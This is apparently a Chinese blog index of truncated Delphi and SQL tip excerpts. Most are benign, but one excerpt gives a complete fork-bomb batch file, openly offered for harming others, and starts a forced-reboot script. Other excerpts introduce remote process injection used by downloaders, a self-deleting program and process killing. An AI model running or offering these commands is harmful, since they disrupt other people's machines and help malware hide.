摘要： 1 只有一个DCU文件的组件。DCU文件是编译好的单元文件，这样的组件是作者不想把源码公布。一般来说，作者必须说明此组件适合Delphi的哪种版本，如果版本不对，在安装时就会出现错误。也正是因为没有源码，给使用者带来了不便，那就是一旦Delphi版本升级，此组件就不能再使用了，当然有的作者给出了几种 阅读全文

摘要： 内容居中(属性) alignment->tacenter mome控件 禁用最大化(属性) 窗体-> BorderIcons属性-> biMaximize-> False 让鼠标无法改变窗体大小(属性) 窗体-> Constraints属性 ->MaxHeight和MinHeight->设置相同限制 阅读全文

摘要： 问题现象： 在D7的控件工具条中每次要手动点向左向右很累，有没有方法可以自动移动。 问题解决： REGEDIT4 [HKEY_CURRENT_USER\Software\Borland\Delphi\7.0\Extras] "AutoPaletteSelect"="1" "AutoPaletteSc 阅读全文

摘要： 1.16 TO 10 ******************************************************** 16转10，否则输出-1 function Hex(c: char): Integer;var x: Integer;begin if ( Ord(c)>= Ord 阅读全文

摘要： 问题现象： 查看oracle是否有表被锁 解决方法： select sid,serial#,program,terminal,username,b.object_id,c.object_name from v$session a, v$locked_object b, dba_objects c w 阅读全文

摘要： 定义 ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ 键盘上的每一个键都有两个唯一的数值进行标志。为什么要用两个数值而不是一个数值呢？这是因为一个键可以被按下，也可以被释放。当一个键按下时，它们产生一个唯一的数值，当一个键被释放时，它也会产生一个唯一的数值，我们把这些数值都保存在一张表 阅读全文

摘要： 远程开机再配合远程控制 procedure TForm1.Button2Click(Sender: TObject);var vBuf:array[0..101] of char; i,j:integer;begin //包的格式很简单，在以太网包的任何位置上， //以6个FF为先导，后面跟相应MA 阅读全文

摘要： 用MODEM拨号上网，仍是大多数个人网民选择上网的方式．如果能在我们的应用程序中启动拨号连接（如IE浏览器程序中的自动拨号功能），无疑将会方便我们的软件用户（不用再切换应用程序，运行拨号网络），提高我们的软件的友好性从而提高软件的竞争力． 在WIN9X下，如果安装了拨号网络，则在WINDOWS系统的 阅读全文

摘要： 模拟键盘我们用Keybd_event这个api函数，模拟鼠标按键用mouse_event函数. Keybd_event函数能触发一个按键事件，也就是会产生一个WM_KEYDOWN或WM_KEYUP消息,一般用这两个消息来模拟一 次按键(按键的过程是:按下,然后弹起)，但是没有直接用这个函数方便。Ke 阅读全文

摘要： 远程控制篇：抓取远程屏幕图像 {抓屏幕图像，保存为内存流--BMP流,压缩BMP流,JPG流，以及使用流}{在网络中传送BMP流和JPG流的速度没测试过}{BMP流的压缩是无损压缩}{全局变量memoryStream:TMemoryStream;memoryStream:=TMemoryStream 阅读全文

摘要： 这里有种办法供你选择：1、打开注册表(regedit)，在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer 下新增一个键值： 键值名称：NoSaveSettings 键值数据类型：DWORD 键 阅读全文

摘要： Delphi 调用netsh命令修改IP地址 先介绍一下Netsh命令的使用方法: 在这里跟大家介绍几个简单的指令 1.Show IP 1.1Cmd Mode 直接在cmd下面输入 netsh interface ip show address 亦可简写为 netsh int ip sh ad 看看 阅读全文

摘要： 监视进程并结束进程在很多地方都用到这里借前人的经验写了个小例子: 以QQ的进程qq.exe为例 关键代码如下: function CheckTask(ExeFileName: string): Boolean; const PROCESS_TERMINATE=$0001; var ContinueL 阅读全文

摘要： unit NetFunc; interface uses SysUtils, Windows, dialogs, winsock, Classes, ComObj, WinInet, Variants; //错误信息常量 const C_Err_GetLocalIp = '获取本地ip失败'; C_ 阅读全文

摘要： RenameFile,DeleteFile,MoveFile Delphi的移动文件方法 uses ShellApi;procedure ShellFileOperation(fromFile: string; toFile: string; Flags: Integer);var shellinf 阅读全文

摘要： 1 ShellApi CreateDirectory(PChar(ExtractFilePath(ParamStr(0))+’Test’),nil);2. 删除 在程序运行过程中，单击“删除”按钮就可以将新创建的test子目录删除，响应代码如下： procedure TForm1.btnDelete 阅读全文

摘要： case 10004: error = "Interrupted system call 中断的系统呼叫"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied 进入被 阅读全文

摘要： 获取用户当前的Windows临时文件夹function GetWinTempPath: string;varTempDir: array[0..255] of char;beginGetTempPath(255, @TempDir);Result := strPas(TempDir);end; 删除 阅读全文

摘要： function GetVersionString(FileName: string): string; var VerInfoSize: DWORD; VerInfo: Pointer; VerValueSize: DWORD; Dummy: DWORD; VerValue: PVSFixedFi 阅读全文

摘要： TreeView由节点构成，建树通过对TreeView.items属性进行操作。Items是一个TTreeNodes对象，这是一个TTreeNode集。 一、针对TTreeNodes,也就是 TreeView.Items,有这些属性： 1、count，节点个数。(节点总数) 2、item[index 阅读全文

摘要： 原来写过一个计算MD5的程序,是用了一个叫MD5.pas的单元,使用起来还算简单,但还有更简单的办法,安装了indy就会有IdHashMessageDigest单元(delphi 7默认安装indy) 有篇文章教怎么用IdHashMessageDigest计算字符串md5,计算文件md5却没有说,在 阅读全文

摘要： 这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL，而是本身的一个过程。下面是代码，由于本人专业知识不够，可能有些说法不太专业。请大家凑合着看。有不懂的请跟贴。 program Inje 阅读全文

摘要： program Project1; uses Windows, Messages, SysUtils; procedure DeleteMe; var BatchFile: TextFile; BatchFileName: string; ProcessInfo: TProcessInformati 阅读全文

摘要： 跟大家分享几个恶心的批处理第一个:让别人内存OVER(逼他重启) @echo off start cmd %0 就这3行了 第二个:让对方重启指定次数(害人专用) @echo off if not exist c:\1.txt echo. >c:\1.txt & goto err1 if not e 阅读全文

摘要： //1.删除TreeView节点以及其子节点procedure TForm2.Button1Click(Sender: TObject);var TreeNode:TTreeNode;begin if TreeView1.Selected Nil then Begin TreeNode := Tr... 阅读全文

摘要： 1.问题：修改表字段类型后，无法保存答：工具—选项—Designers—表设计器和数据库设计器—阻止保存要求重新创建表的更改前的勾去掉。2.问题：编写SQL语句的地方怎么自动换行答：工具->选项->文本编辑器->所有语言->自动换行选中3.问题：右击选择1000行，编辑200行，怎么修改答：工具->... 阅读全文

摘要： select object_name(id) tablename,8*reserved/1024 reserved,rtrim(8*dpages/1024)+'Mb' used,8*(reserved-dpages)/1024 unused,8*dpages/1024-rows/1024*minle... 阅读全文

摘要： SQL2008:1.备份库BACKUP DATABASE CDJQ_CEM2008 TO DISK = 'd:\zhu\123.bak'2.开启RAR加压功能EXEC sp_configure 'show advanced options', 1GORECONFIGUREGOEXEC sp_conf... 阅读全文

摘要： ltrim() int转字符Left('ABC',2)='AB'right('ABC',2)='BC'SUBSTRING('ABC',1,2)='AB' 和DELPHI中的COPY一样Substring('http://www.baidu.com',CHARINDEX('www','http://w... 阅读全文

摘要： 语法 使用CAST： CAST(expression AS data_type) 使用CONVERT： CONVERT(data_type[(length)],expression,[style])例:CONVERT(VARCHAR(25),GETDATE(),120)120 或者 20 yyyy-... 阅读全文

摘要： select * from sysobjects where name= 'N201111B' and xtype= 'U' 阅读全文

摘要： http://wt.duote.com/soft/11458.html sql server 2000个人版下载 阅读全文

摘要： create trigger tr_update_Table_1 on rwqd FOR UPDATE As update dataabc.dbo.Table_1 set NO2='OK' from dataabc.dbo.Table_1 aa,inserted bb where aa.NO1... 阅读全文

摘要： WITH DataTable AS( select *, ROW_NUMBER() OVER(order by ID) as Rowno from (select * from UserInfo) as TempTable) select * from DataTable where Rowno b... 阅读全文